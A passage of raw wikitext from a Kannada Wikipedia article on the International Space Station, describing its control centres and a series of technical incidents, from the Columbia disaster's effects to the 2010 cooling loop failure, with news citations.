ಬಾನಗಾಡಿ ಯಾತ್ರೆಯನ್ನು ಕೂಡ ನಿಯಂತ್ರಿಸುತ್ತದೆ.<ref name="ISSRG">{{cite book|author=Gary Kitmacher|title=Reference Guide to the International Space Station| publisher =[[Apogee Books]]|location=Canada|year=2006|isbn=978-1-894959-34-6|issn=1496-6921|pages=71–80}}</ref> * ಅಲ್ಬಮಾದ ಹಂಟ್ಸ್ ವಿಲ್ಲೆಯಲ್ಲಿರುವ ಮಾರ್ಷಲ್ ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ಸೆಂಟರ್ ನಲ್ಲಿರುವ NASAದ ಪ್ಲೇಲೋಡ್ ಆಪರೇಷನ್ಸ್ ಅಂಡ್ ಇಂಟಿಗ್ರೇಷನ್ ಸೆಂಟರ್, ಇದು US ನ ಭಾಗದಲ್ಲಿ ನಡೆಯುವ ಪ್ಲೇಲೋಡ್(ಗಗನನೌಕೆ ಒಯ್ಯುವ ಉಪಕರಣಗಳು) ನ ಎಲ್ಲಾ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಸಂಘಟಿಸುವ ಕೇಂದ್ರವಾಗಿ ಸೇವೆಸಲ್ಲಿಸುತ್ತದೆ.<ref name="ISSRG" /> * ಮಾಸ್ಕೊದ ಕೊರೊಲ್ಯೊವ್ ದಲ್ಲಿರುವ ರಾಸ್ಕೊಸ್ಮಸ್ ನ ಮಿಶನ್ ಕಂಟ್ರೋಲ್ ಸೆಂಟರ್(ಗಗನಯಾತ್ರೆ ನಿಯಂತ್ರಣ ಕೇಂದ್ರ), ಪ್ರತ್ಯೇಕವಾದ ಸೊಯಜ್ ಮತ್ತು ಪ್ರೋಗ್ರೆಸ್ ಯಾತ್ರೆಗಳ ಜೊತೆಯಲ್ಲಿ ISS ನ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ಅನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ.<ref name="ISSRG" /> * ಜರ್ಮನಿಯ ಒಬರ್ಪ್ ಫ್ಯಾಫೆನ್ ಹೊಫೆನ್ ನಲ್ಲಿರುವ ಜರ್ಮನ್ ಏರೋಸ್ಪೇಸ್ ಸೆಂಟರ್ (DLR) ನಲ್ಲಿರುವ ESA ಯ ಕೊಲಂಬಸ್ ನಿಯಂತ್ರಣ ಕೇಂದ್ರವು, ಯುರೋಪಿನ ''ಕೊಲಂಬಸ್'' ಸಂಶೋಧನ ಪ್ರಯೋಗಾಲಯವನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ.<ref name="ISSRG" /> * ಫ್ರಾನ್ಸ್ ನ ಟೌಲೂಸ್ ನಲ್ಲಿರುವ ಟೌಲೂಸ್ ಬಾಹ್ಯಾಕಾಶ ಕೇಂದ್ರ(CST) ದಲ್ಲಿರುವ ESA ಯ ATV ನಿಯಂತ್ರಣ ಕೇಂದ್ರವು , ಯುರೋಪಿನ ಸಿಬ್ಬಂದಿ ರಹಿತ ಆಟೋಮೇಟೆಡ್ ಟ್ರಾನ್ಸ್ ಫರ್ ವೆಹಿಕಲ್ ನ ವಿಮಾನಗಳನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ.<ref name="ISSRG" /> * ಜಪಾನಿನ ಟುಸ್ಕುಬಾದ ಟುಸ್ಕುಬಾ ಬಾಹ್ಯಾಕಾಶ ಕೇಂದ್ರ (TKSC)ದಲ್ಲಿರುವ JAXA ನ JEM ನಿಯಂತ್ರಣಾ ಕೇಂದ್ರ ಮತ್ತು HTV ನಿಯಂತ್ರಣಾ ಕೇಂದ್ರವು, ಜಪಾನೀಯರ ಪರೀಕ್ಷಾ ಘಟಕ ಸಂಕೀರ್ಣ ಹಾಗು ಜಪಾನೀಯರ ಸಿಬ್ಬಂದಿ ರಹಿತ HTV-II ಯ ಎಲ್ಲಾ ವಿಮಾನಗಳನ್ನು ನೋಡಿಕೊಳ್ಳುವ ಹೊಣೆಗಾರಿಕೆ ಹೊಂದಿದೆ.<ref name="ISSRG" /> * ಕೆನಡಾದ ಕ್ವಿಬೆಕ್ ನ ಸ್ಯೇಂಟ್-ಹಬರ್ಟ್ ನಲ್ಲಿರುವ CSA ಯ MSS ನಿಯಂತ್ರಣಕೇಂದ್ರವು, ಮೊಬೈಲ್ ಸರ್ವಿಸಿಂಗ್ ಸಿಸ್ಟಮ್ ಅಥವಾ ಕ್ಯನಡಾರ್ಮ್2 ಅನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ನಿಯಂತ್ರಿಸುತ್ತದೆ.<ref name="ISSRG" /> ===ಸುರಕ್ಷತೆಯ ಅಂಶಗಳು=== ====ಅಸಂಬದ್ಧತೆಗಳು==== {{Main|Major incidents involving the International Space Station}} {{See also|Space Shuttle Columbia disaster}} ನಿಲ್ದಾಣದ ನಿರ್ಮಾಣವನ್ನು ಪ್ರಾರಂಭಿಸಿದಾಗಿನಿಂದಲೂ ISS ಕಾರ್ಯಯೋಜನೆಯು, ಅನೇಕ ಪ್ರಮುಖ ಘಟನೆ, ಅನಿರೀಕ್ಷಿತ ಸಮಸ್ಯೆ ಮತ್ತು ವಿಫಲತೆಗಳನ್ನು ಎದುರಿಸಿದೆ. ಕೆಲಕಾಲದ ವರೆಗೆ ನಿಲ್ದಾಣದ ಸಾಮರ್ಥ್ಯ ಕುಗ್ಗಿತಲ್ಲದೇ, ಕೆಲವು ಸಂದರ್ಭದಲ್ಲಿ ಸುರಕ್ಷತೆಯ ದೃಷ್ಟಿಯಿಂದ ನಿಲ್ದಾಣವನ್ನು ಬಿಟ್ಟುಬಿಡಬೇಕಾಯಿತು. ಈ ಸಮಸ್ಯೆಗಳನ್ನು ಪರಿಹರಿಸದಿದ್ದಲ್ಲಿ ಈ ಘಟನೆಗಳು ನಿಲ್ದಾಣದ ಜೋಡಣಾ ಕಾಲಗಣನೆಯ ಮೇಲೆ ತಮ್ಮ ಪ್ರಭಾವ ಬೀರುತ್ತವೆ. 2003 ರ ಫೆಬ್ರವರಿ 1 ರಂದು(STS-107 ನ ಸಂದರ್ಭದಲ್ಲಿ) ಸಂಭವಿಸಿದ {{OV|102}} ರ ದುರ್ಘಟನೆಯು ನಿಲ್ದಾಣದ ಕಾರ್ಯಾಚರಣೆಯ ಮೇಲೆ ಉಂಟಾದ ಮೊದಲ ತೊಡಕಾಗಿದೆ. ಇದರಿಂದಾಗಿ US ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಎರಡುವರೆ ವರ್ಷಗಳ ಕಾಲ ರದ್ದುಮಾಡಲಾಯಿತು. ಇದರ ನಂತರ STS-114 ಅನ್ನು ಒಂದು ವರ್ಷಗಳ ಕಾಲ ರದ್ದುಪಡಿಸಲಾಯಿತು(ಏಕೆಂದರೆ ಇದು ಬಾನಗಾಡಿಯ ಬಾಹ್ಯ ಟ್ಯಾಂಕ್ ನ ಮೇಲೆ ನಿರಂತರವಾಗಿ ನೊರೆಯನ್ನು ಬೀಳಿಸುತ್ತಿತ್ತು). ಇದು ನಿಲ್ದಾಣದ ಜೋಡಣಾ ಯೋಜನೆಗಳಿಗೆ ತಾತ್ಕಾಲಿಕ ತಡೆಯೊಡ್ಡಿತು. ಅಲ್ಲದೇ ನಿಲ್ದಾಣದ ಕಾರ್ಯಾಚರಣೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಕುಗ್ಗಿಸಿತು. ಇದಕ್ಕೆ ಕಾರಣ ವ್ಯವಸ್ಥಾಪನ ತಂತ್ರದ(ನೌಕಾಪಡೆಗೆ ಸರಬರಾಜು ಒದಗಿಸುವ ತಂತ್ರ) ಕೊರತೆ ಹಾಗು ಗಗನಯಾತ್ರೆ 7ರಿಂದ ಗಗನಯಾತ್ರೆ 12 ವರೆಗೆ ಕೇವಲ ಇಬ್ಬರು ಗಗನಯಾತ್ರಿಗಳನ್ನು ಕಳುಹಿಸಲಾಗಿತ್ತು.<ref name="TFFH">{{cite book|title=Too Far from Home|author=Chris Jones|year=2008|publisher=Vintage|isbn=978-0-09-951324-7|url=http://www.amazon.co.uk/dp/0099513242?qisbn=1-225-74474-7}}</ref> ''ಕೊಲಂಬಿಯ'' ದುರ್ಘಟನೆಯಿಂದಾಗಿ ನಿಲ್ದಾಣವು ಅನೇಕ ಕಿರು ತೊಂದರೆಗಳನ್ನು ಎದುರಿಸಬೇಕಾಯಿತು. 2004 ರಲ್ಲಿ USOS ನಿಂದ ವಾಯು ಸೊರುವಿಕೆ ಉಂಟಾಯಿತು,<ref>{{cite news|url=http://www.msnbc.msn.com/id/3882962/|title=Crew finds ‘culprit’ in space station leak|publisher=MSNBC|date=11 January 2004|author=James Oberg|accessdate=22 August 2010|archive-date=28 ಜೂನ್ 2011|archive-url=https://web.archive.org/web/20110628211903/http://www.msnbc.msn.com/id/3882962/|url-status=dead}}</ref> 2006 ರಲ್ಲಿ ''ಎಲೆಕ್ಟ್ರಾನ್'' ಆಮ್ಲಜನಕ ಉತ್ಪಾದಕ ದಿಂದ ಹೊಗೆ ಹೊರಬರಲು ಶುರುವಾಯಿತು,<ref>{{cite news|url=http://spaceflightnow.com/station/exp13/060918elektron.html|title=Oxygen Generator Problem Triggers Station Alarm|publisher = CBS News through Spaceflight Now|date=18 September 2006|author=William Harwood|accessdate=24 November 2008}}</ref> ಅಲ್ಲದೇ STS-117 ಸಂದರ್ಭದಲ್ಲಿ 2007 ರಲ್ಲಿ ROS ನಲ್ಲಿದ್ದ ಕಂಪ್ಯೂಟರ್ ಗಳು ವಿಫಲವಾದವು. ಇದರಿಂದಾಗಿ ನಿಲ್ದಾಣಕ್ಕೆ ನೂಕುಕಾರಿ(ತ್ರಸ್ಟರ್), ''ಎಲೆಕ್ಟ್ರಾನ್'' , ''ವಾಜ್ದುಕ್'' ಮತ್ತು ಇತರ ಪರಿಸರ ನಿಯಂತ್ರಣ ವ್ಯವಸ್ಥೆಗಳ ಕಾರ್ಯಾಚರಣೆಗಳು ಇಲ್ಲದಂತಾದವು. ವಿದ್ಯುತ್ ಸಂಯೋಜಕಗಳೊಳಗಿನ ಸಂಗ್ರಹಣವು ಶಾರ್ಟ್ ಸರ್ಕಿಟ್ ಅನ್ನು ಉಂಟುಮಾಡುವ ಮೂಲಕ ಈ ದುರ್ಘಟನೆಗೆ ಕಾರಣವಾಗಿದೆ.<ref>{{cite web|url=http://www.spectrum.ieee.org/aerospace/space-flight/space-station-internal-nasa-reports-explain-origins-of-june-computer-crisis|title=Space Station: Internal NASA Reports Explain Origins of June Computer Crisis|accessdate=7 July 2009|publisher=IEEE Spectrum|date=4 October 2007|author=James Oberg}}</ref> ಈ ದುರ್ಘಟನೆಯಿಂದಾಗಿ ನಿಲ್ದಾಣದ ಒಳಗಿನ ಸಾಧನಗಳಲ್ಲಿ ಮಾತ್ರ ತೊಂದರೆಯುಂಟಾಗದೆ ನಿಲ್ದಾಣದ ಬಾಹ್ಯ ಘಟಕಗಳಲ್ಲಿಯೂ ಅನೇಕ ತೊಂದರೆಗಳು ಕಾಣಿಸಿಕೊಂಡವು;2007 ರ STS-120 ರ ಸಂದರ್ಭದಲ್ಲಿ, P6 ಟ್ರಸ್ ನ ಮತ್ತು ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳನ್ನು ಅನುಸರಿಸಿದಂತೆ, ಸರಣಿಗಳ ಪುನರ್ನಿಯೋಜನೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಅದು ಒಡೆದು ಹೋಯಿತು. ಆಗ ಅದನ್ನು ಸರಿಯಾಗಿ ಜೋಡಿಸಲಾಗಲಿಲ್ಲ.<ref name="Astronauts notice tear in solar panel">{{Cite news|url=http://www.redorbit.com/news/space/1123767/astronauts_notice_tear_in_solar_panel/index.html |title=Astronauts notice tear in solar panel|accessdate=30 October 2007|agency=Associated Press|date=30 October 2007|author= Liz Austin Peterson}}</ref> ಸರಣಿಗಳನ್ನು ಸರಿಮಾಡಲು ಸ್ಕಾಟ್ ಪ್ಯಾರಜಿನ್ಸ್ಕಿಯವರು ತುರ್ತುಪರಿಸ್ಥಿತಿಯ EVA ಯನ್ನು ಕಾರ್ಯರೂಪಕ್ಕೆ ತಂದರು. ಅಲ್ಲದೇ ಡೌಗ್ಲಾಸ್ ವೀಲಾಕ್ ರವರು ಈ ಕಾರ್ಯಕ್ಕೆ ನೆರವಾದರು. ಇದು ಅಲ್ಪಕಾಲಾವಧಿಯ ಯೋಜನಾ ಸಮಯದಿಂದಾಗಿ ಮತ್ತು ಸರಣಿಗಳಿಂದಲೇ ವಿದ್ಯುದಾಘಾತವಾಗುವ ಅಪಾಯದಿಂದಾಗಿ, ಬಹುಪಾಲು EVAs ಗಳಿಗಿಂತ ಅತ್ಯಂತ ಅಪಾಯಕಾರಿಯಾದ ಕೆಲಸವಾಗಿದೆ.<ref name="Space Station's Damaged Panel Is Fixed">{{Cite news|url=http://www.washingtonpost.com/wp-dyn/content/article/2007/11/03/AR2007110300227.html|title=Space Station's Damaged Panel Is Fixed|accessdate=4 November 2007|work=The Washington Post|date=4 November 2007|first=Rob|last=Stein}}</ref> ಸ್ಟಾರ್ ಬೋರ್ಡ್ ಸೋಲಾರ್ ಆಲ್ಫ ರೋಟರಿ ಜಾಯಿಂಟ್ (SARJ) ನಲ್ಲಿ ಉಂಟಾದ ಸಮಸ್ಯೆಗಳಿಂದ ಸರಣಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ತೊಂದರೆಗಳು ಆ ವರ್ಷವು ಮುಂದುವರೆದವು. ಇದು (SARJ) ನಿಲ್ದಾಣದ ಸ್ಟಾರ್ ಬೋರ್ಡ್ ನ ಬದಿಯಲ್ಲಿ ಸರಣಿಗಳನ್ನು ಸುತ್ತಿಸುತ್ತದೆ. ಸರಣಿಯನ್ನು ಸಾಗಿಸುವ ಮೋಟಾರ್ ನಲ್ಲಿ ವಿಪರೀತ ಕಂಪನ ಮತ್ತು ಹೈ ಕರೆಂಟ್ ಸ್ಪೈಕ್ ಗಳು ಕಾಣಿಸಿಕೊಂಡವು. ಇದರಿಂದಾಗಿ, ಈ ಸಮಸ್ಯೆಗಳ ಕಾರಣ ತಿಳಿಯುವ ವರೆಗೆ ಸ್ಟಾರ್ ಬೋರ್ಡ್ SARJ ಯ ಚಲನೆಯನ್ನು ಕಡಿಮೆ ಮಾಡಬೇಕೆಂದು ನಿರ್ಧರಿಸಲಾಯಿತು. STS-120 ಮತ್ತು STS-123 ನ ಮೇಲೆ ಮಾಡಲಾದ EVAs ನ ಪರಿಶೀಲನೆಯ ಸಂದರ್ಭದಲ್ಲಿ, ಕ್ಷೌರ ಮಾಡಿಕೊಳ್ಳಲು ಬಳಸಲಾದ ಲೋಹದ ವಸ್ತುಗಳಿಂದ ಮತ್ತು ಸಾಗಿಸಲಾಗುವ ಅತ್ಯಂತ ದೊಡ್ಡ ಸಲಕರಣೆಗಳಲ್ಲಿ ಇರುವ ಅವಶೇಷಗಳಿಂದ ವಿಪರೀತ ಕಲುಷಿತವಾಗಿರುವುದು ಕಂಡು ಬಂದಿತು. ಇದರಿಂದಾಗಿ ಜಾಯಿಂಟ್ ನ ಮುಖ್ಯಭಾಗದಲ್ಲಿರುವ ಲೋಹದ ರೇಸ್ ರಿಂಗ್ ಗೆ ನಷ್ಟವಾಗುವ ಸಾಧ್ಯತೆಗಳಿದ್ದ ಕಾರಣ ಮುಂದಿನ ಹಾನಿ ತಡೆಯಲು ಜಾಯಿಂಟ್ ಅನ್ನು ಲಾಕ್ ಮಾಡಲಾಯಿತು.<ref name="joint-update">{{cite news|url=http://spaceflightnow.com/shuttle/sts123/080325sarj/index.html|title=Station chief gives detailed update on joint problem|accessdate=5 November 2008|author=William Harwood|publisher=CBS News & SpaceflightNow.com|date=25 March 2008}}</ref> ಜಾಯಿಂಟ್ ನ ರಿಪೇರಿಯನ್ನು STS-126 ರ ಸಂದರ್ಭದಲ್ಲಿ ಮಾಡಲಾಯಿತು. ಎರಡು ಜಾಯಿಂಟ್ ಗಳಿಗೂ ತೈಲಲೇಪನ ಮಾಡಲಾಯಿತು. ಅಲ್ಲದೇ ಜಾಯಿಂಟ್ ನ ಮೇಲಿರುವ 12 ಗಾಲಿಗಳಲ್ಲಿ 11 ಅನ್ನು ಬದಲಾಯಿಸಲಾಯಿತು.<ref>{{cite web|url=https://www.nasa.gov/mission_pages/shuttle/shuttlemissions/sts126/126_overview.html|title=Crew Expansion Prep, SARJ Repair Focus of STS-126|accessdate=5 November 2008|publisher=NASA|date=30 October 2008}}</ref><ref>{{cite news|url=http://www.spaceflightnow.com/shuttle/sts126/081118fd5/index.html|title=Astronauts prepare for first spacewalk of shuttle flight|date=18 November 2008|author=William Harwood|publisher=CBS News & SpaceflightNow.com|accessdate=22 November 2008}}</ref> ಇತ್ತೀಚೆಗಷ್ಟೇ ನಿಲ್ದಾಣದ ಎಂಜಿನ್ ಗಳಲ್ಲಿ ಮತ್ತು ಶೀತಕದಲ್ಲಿ ಕೂಡ ಸಮಸ್ಯೆಗಳಿರುವುದು ಕಂಡುಬಂದಿದೆ. 2009 ರಲ್ಲಿ, ''ಜ್ವೆಜ್ದ'' ದಲ್ಲಿರುವ ಎಂಜಿನ್ ತಪ್ಪು ಆದೇಶ ನೀಡಿತು. ಇದರಿಂದಾಗಿ ಸುಮಾರು ಎರಡು ನಿಮಿಷಗಳ ಕಾಲ ನಿಲ್ದಾಣದ ವ್ಯವಸ್ಥೆಯುದ್ದಕ್ಕೂ ವಿಪರೀತ ಕಂಪನ ಉಂಟಾಯಿತು.<ref>{{cite web|url=http://www.msnbc.msn.com/id/28998876/|author=James Olberg|title=Shaking on space station rattles NASA|publisher=MSNBC|date=3 February 2009|accessdate=4 February 2009|archive-date=28 ಜೂನ್ 2011|archive-url=https://web.archive.org/web/20110628211925/http://www.msnbc.msn.com/id/28998876/|url-status=dead}}</ref> ನಿಲ್ದಾಣಕ್ಕೆ ಯಾವುದೇ ನಷ್ಟವಾಗಿಲ್ಲವೆಂದು ತಕ್ಷಣವೇ ವರದಿಮಾಡಲಾಗಿತ್ತು. ಕೆಲವೊಂದು ಘಟಕಗಳು ಅವುಗಳ ಸಾಮರ್ಥ್ಯ ಮೀರಿ ಹೆಚ್ಚು ಒತ್ತಡಕ್ಕೆ ಒಳಪಟ್ಟವು. ಮುಂದಿನ ವಿಶ್ಲೇಷಣೆ ನಿಲ್ದಾಣಕ್ಕೆ ಯಾವುದೇ ರಾಚನಿಕ ನಷ್ಟವಾಗಿಲ್ಲವೆಂಬುದನ್ನು ದೃಢಪಡಿಸಿತು. ಅಲ್ಲದೇ ಇದರ "ರಚನೆಗಳು ಅವುಗಳ ಸಹಜವಾದ ಜೀವಿತಾವಧಿಯ ಸಾಮರ್ಥ್ಯಗಳನ್ನು ಇನ್ನೂ ಮುಟ್ಟಬಲ್ಲಂತೆ" ಕಂಡುಬಂದವು. ಮುಂದಿನ ಮೌಲ್ಯ ಮಾಪನವನ್ನು ಮಾಡಲಾಗುತ್ತಿದೆ.<ref>{{cite web|title=Progress M-66 launches, heads for the International Space Station|url=http://www.nasaspaceflight.com/2009/02/progress-m-66-launches-heads-for-the-international-space-station/|publisher=NASASpaceflight.com|author=Chris Bergin|accessdate=10 February 2009|date=10 February 2009}}</ref> 2009 ರಲ್ಲಿ S1 ರೇಡಿಯೇಟರ್ (ಪ್ರಸಾರಕ)ಗೆ ಹಾನಿಯುಂಟಾಯಿತು. ನಿಲ್ದಾಣದ ಶೀತಕ ವ್ಯವಸ್ಥೆಯ ಭಾಗಗಳಲ್ಲಿ ಇದೂ ಕೂಡ ಒಂದಾಗಿದೆ. 2008 ರ ಸೆಪ್ಟೆಂಬರ್ ತಿಂಗಳಿನಲ್ಲಿ ಸೊಯುಜ್ ನ ಚಿತ್ರಣದಲ್ಲಿ ತೊಂದರೆಯನ್ನು ಗುರುತಿಸಲಾಯಿತು. ಆದರೆ ಇದು ಅಂದುಕೊಂಡಷ್ಟು ತೀವ್ರವಾಗಿರಲಿಲ್ಲ.<ref name="Radiator">{{cite web|url=http://www.nasaspaceflight.com/2009/04/iss-concern-s1-radiator-may-require-replacement-shuttle-mission/|author=Chris Bergin|date=1 April 2009|publisher=NASASpaceflight.com|title=ISS concern over S1 Radiator – may require replacement via shuttle mission|accessdate=3 April 2009}}</ref> ಈ ಚಿತ್ರಣವು, ಆಧಾರವಾಗಿರುವ ಕೇಂದ್ರ ರಚನೆಯಿಂದ ಒಂದು ಉಪ ವಿಭಾಗದ ಮೇಲ್ಮೈ ಕಳಚಿ ಬೀಳುತ್ತಿರುವುದನ್ನು ತೋರಿಸಿತು. ಬಹುಶಃ ಸೂಕ್ಷ್ಮ ಉಲ್ಕಾಭ ಅಥವಾ ಭಗ್ನಾವಶೇಷ ಇದಕ್ಕೆ ಕಾರಣವಿರಬಹುದು. 2008 ರ EVA ಯ ಸಂದರ್ಭದಲ್ಲಿ ಸೇವಾ ಘಟಕದ ನೂಕುಕಾರಿಯನ್ನು ಹೊರಗೆಸೆದು, S1 ರೇಡಿಯೇಟರ್ ಅನ್ನು ಅಪ್ಪಳಿಸಿತು. ಆದರೆ ಇದರಿಂದ ಯಾವುದಕ್ಕೂ ತೊಂದರೆಯುಂಟಾಗಲಿಲ್ಲ. 2009 ರ ಮೇ 15 ರಂದು ಕಂಪ್ಯೂಟರ್ ನಿಯಂತ್ರಿಕ ಕವಾಟವು ಮುಚ್ಚಿಹೋಗಿದ್ದರಿಂದ, ಉಳಿದಿದ್ದ ಶೀತಕ ವ್ಯವಸ್ಥೆಯ ಮೂಲಕ ರೇಡಿಯೇಟರ್ ನ ಹಾನಿಗೊಂಡ ಭಾಗದ ಅಮೋನಿಯ ಕೊಳವೆ ಯಾಂತ್ರಿಕವಾಗಿ ನಿಂತುಹೋಯಿತು. ಅನಂತರ ಹಾನಿಗೊಳಗಾದ ಭಾಗದಿಂದ ಅಮೋನಿಯವನ್ನು ಹೊರತೆಗೆಯಲು ಇದೇ ಕವಾಟವನ್ನು ಬಳಸಲಾಯಿತು. ಹಾನಿಗೊಳಗಾದ ಭಾಗದ ಮೂಲಕ ಶೀತಕ ವ್ಯವಸ್ಥೆಯಿಂದ ಅಮೋನಿಯ ಸೋರಿಕೆಯಾದಂತೆ ತಡೆಯಲು ಹೀಗೆ ಮಾಡಲಾಯಿತು.<ref name="Radiator" /> =====ಕೂಲಿಂಗ್ ಲೂಪ್ ನ ಒಂದು ವಿಫಲತೆ ===== 2010 ರ ಆಗಸ್ಟ್ 1 ರ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ ಕೂಲಿಂಗ್ ಲೂಪ್ A (ಸ್ಟಾರ್ ಬೋರ್ಡ್ ನ ಬದಿಯಿರುವಂತಹ)ವಿಫಲವಾಯಿತು, ಎರಡು ಬಾಹ್ಯ ಕೂಲಿಂಗ್ ಲೂಪ್ ಗಳಲ್ಲಿ ಒಂದು, ಅದರ ಸಹಜವಾದ ಶೀತಕ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಕೇಲವ ಅರ್ಧದಷ್ಟನ್ನು ಮಾತ್ರ ನಿಲ್ದಾಣಕ್ಕೆ ಒದಗಿಸಿತು. ಅಲ್ಲದೇ ಕೆಲವು ವ್ಯವಸ್ಥೆಗಳಲ್ಲಿ ಅಗತ್ಯಕ್ಕಿಂತ ಹೆಚ್ಚು ಶೀತಲವನ್ನುಂಟುಮಾಡಿತು.<ref>{{cite web|url=http://spaceflightnow.com/news/n1007/31station/ |title=Problem forces partial powerdown aboard station |publisher=Spaceflightnow.com |date=2010-07-31 |accessdate=2010-11-16}}</ref><ref>{{cite web|author= |url=http://www.spaceref.com/news/viewsr.html?pid=34622 |title=NASA ISS On-Orbit Status 1 August 2010 (early edition) |publisher=Spaceref.com |date=2010-07-31 |accessdate=2010-11-16}}</ref><ref>{{cite web|url=http://www.boeing.com/defense-space/space/spacestation/systems/atcs.html |title=ISS Active Control System |publisher=Boeing.com |date=2006-11-21 |accessdate=2010-11-16}}</ref> ಅಮೋನಿಯ ಶೀತಕ ದ್ರವವನ್ನು ಹರಡುವ, ಅಮೋನಿಯ ಪಂಪ್ ಘಟಕದಲ್ಲಿ ತೊಂದರೆ ಕಂಡುಬಂದಿತು. ನಾಲ್ಕು CMGs ಗಳಲ್ಲಿ ಎರಡನ್ನು ಒಳಗೊಂಡಂತೆ ಅನೇಕ ಉಪ ವ್ಯವಸ್ಥೆಗಳು ನಿಂತುಹೋದವು. ISS ನ ಮೇಲೆ ಮಾಡಬೇಕೆಂದು ಯೋಜಿಸಲಾಗಿದ್ದ ಕಾರ್ಯಾಚರಣೆಗಳಿಗೆ, ಶೀತಕ ವ್ಯವಸ್ಥೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ EVAs ಯ ತೊಂದರೆಗಳಿಂದಾಗಿ ತಡೆಯುಂಟಾಯಿತು. 2010 ರ ಆಗಷ್ಟ್ 7 ರಂದು ಕಳುಹಿಸಲಾದ ಮೊದಲನೆಯ EVA ಗೆ, ನಾಲ್ಕು ಕ್ವಿಕ್ ಡಿಸ್ ಕನೆಕ್ಟ್ ಗಳಲ್ಲಿ ಒಂದರಲ್ಲಿ ಅಮೋನಿಯ ಸೋರುತ್ತಿದ್ದ ಕಾರಣ, ವಿಫಲವಾದ ಪಂಪ್ ಘಟಕವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಬದಲಾಯಿಸಲಾಗಲಿಲ್ಲ. ಆಗಸ್ಟ್ 11 ರಂದು ಕಳುಹಿಸಲಾದ EVA ವಿಫಲವಾದ ಪಂಪ್ ಘಟಕವನ್ನು ಯಶಸ್ವಿಯಾಗಿ ತೆಗೆದುಹಾಕಿತು.<ref>[http://spaceflightnow.com/station/exp24/100810evapre/index.html ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ನವ್] "ಕಾರ್ಯನಿವಹಿಸಲು ವಿಫಲವಾದ ಶೀತಕ ಪಂಪ್ ಅನು ತೆಗೆದುಹಾಕಲು ಹೋದಂತಹ ಬುಧವಾರದ ಆಕಾಶ ನಡಿಗೆ"</ref><ref>[http://www.nasaspaceflight.com/2010/08/live-second-eva-with-pump-module-changeout/ ನಾಸಾ ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ಆಗ್ 11] "ವಿಫಲ ಪಂಪ್ ಘಟಕವನ್ನು ತೆಗೆದುಹಾಕುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದ ಎರಡನೆಯ EVA"</ref> ಮೂರನೆಯ EVA, ಸಹಜವಾದ ಕಾರ್ಯಾಚರಣೆಗೆ ಲೂಪ್ A ಯನ್ನು ಪುನರ್ಸ್ಥಾಪಿಸಿತು.<ref>[http://spaceflightnow.com/station/exp24/100811eva2/index5.html ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ನವ್ ಆಗ್ 12] "ನಿಲ್ದಾಣದ ಕೆಟ್ಟ ಪಂಪ್ ಅನ್ನು ತೆಗೆದುಹಾಕಲಾಯಿತು; ಆಕಾಶ ನಡೆಗಳನ್ನು ಮುಂದುವರೆಸಲಾಯಿತು"</ref><ref>[http://www.nasaspaceflight.com/2010/08/iss-cooling-returning-normal-confirming-etcs-pm-success/ ಸ್ಪೇಸ್ ಫ್ಲೈಟ್ ನವ್, ಆಗ್ 18] ISS ನ ಶೀತಕ ವಿನ್ಯಾಸವು ಸಹಜವಾದ ವಿನ್ಯಾಸಕ್ಕೆ ಮರಳಿತು ETCS PM ಯಶಸ್ಸು</ref> ಅಮೇರಿಕಾದ [[ಬೋಯಿಂಗ್]] ಕಂಪನಿಯು ನಿಲ್ದಾಣದ ಶೀತಕ ವ್ಯವಸ್ಥೆಯನ್ನು ನಿರ್ಮಿಸಿದೆ.<ref>{{cite web|url=http://www.space.com/businesstechnology/international-space-station-complexities-100802.html|title=Cooling System Malfunction Highlights Space Station's Complexity|publisher=Space.com|date=2010-08-02}}</ref> ಇದು ವಿಫಲವಾದ ಪಂಪ್ ಗಳ ತಯಾರಕವಾಗಿದೆ.<ref>{{cite web|url=http://spaceflightnow.com/news/n1007/31station/|title=Spacewalks needed to fix station cooling problem|publisher=Spaceflightnow|date=2010-07-31}}</ref> ====ಕಕ್ಷೆಯಲ್ಲಿನ ಭಗ್ನಾವಶೇಷಗಳು==== [[File:STS-118 debris entry.jpg|thumb|The entry hole in [482]'s radiator panel caused by space debris during STS-118|alt=Anಇದು ಚಪ್ಪಟ್ಟೆಯಾಗಿರುವ ಲೋಹದ ರಚನೆಯ ಒಂದು ಚಿತ್ರವಾಗಿದ್ದು , ಇದರಲ್ಲಿ ಅರ್ಧ ಅಂಗುಲದ ರಂಧ್ರವನ್ನು ಮಾಡಲಾಗಿದೆ. ಮಾಪನ ಪ್ರದರ್ಶನಕ್ಕೆ ಕಾಣುತ್ತಿರುವ ರೂಲರ್]] ಅತ್ಯಂತ ಕಡಿಮೆ ಎತ್ತರದಲ್ಲಿರುವ ISS ನ ಕಕ್ಷೆಯಲ್ಲಿ ವಿಭಿನ್ನ ರೀತಿಯ ಆಂತರಿಕ್ಷ ಭಗ್ನಾವಶೇಷಗಳಿವೆ. ಇವು ಅಲ್ಲಿ ಕಳೆದುಹೋದ ರಾಕೆಟ್ ಮತ್ತು ಗತಿಸಿದ ಉಪಗ್ರಹ ಗಳಿಂದ, ಸ್ಪೋಟಕದ ಚೂರುಗಳು,ಬಣ್ಣದ ಬಿಲ್ಲೆಗಳು, ರಾಕೆಟ್ ಮೋಟಾರ್ ಗಳಿಂದ, ಸಲಕರಣೆ, RORSATನ್ಯೂಕ್ಲಿಯರ್ ಪವರ್ಡ್ 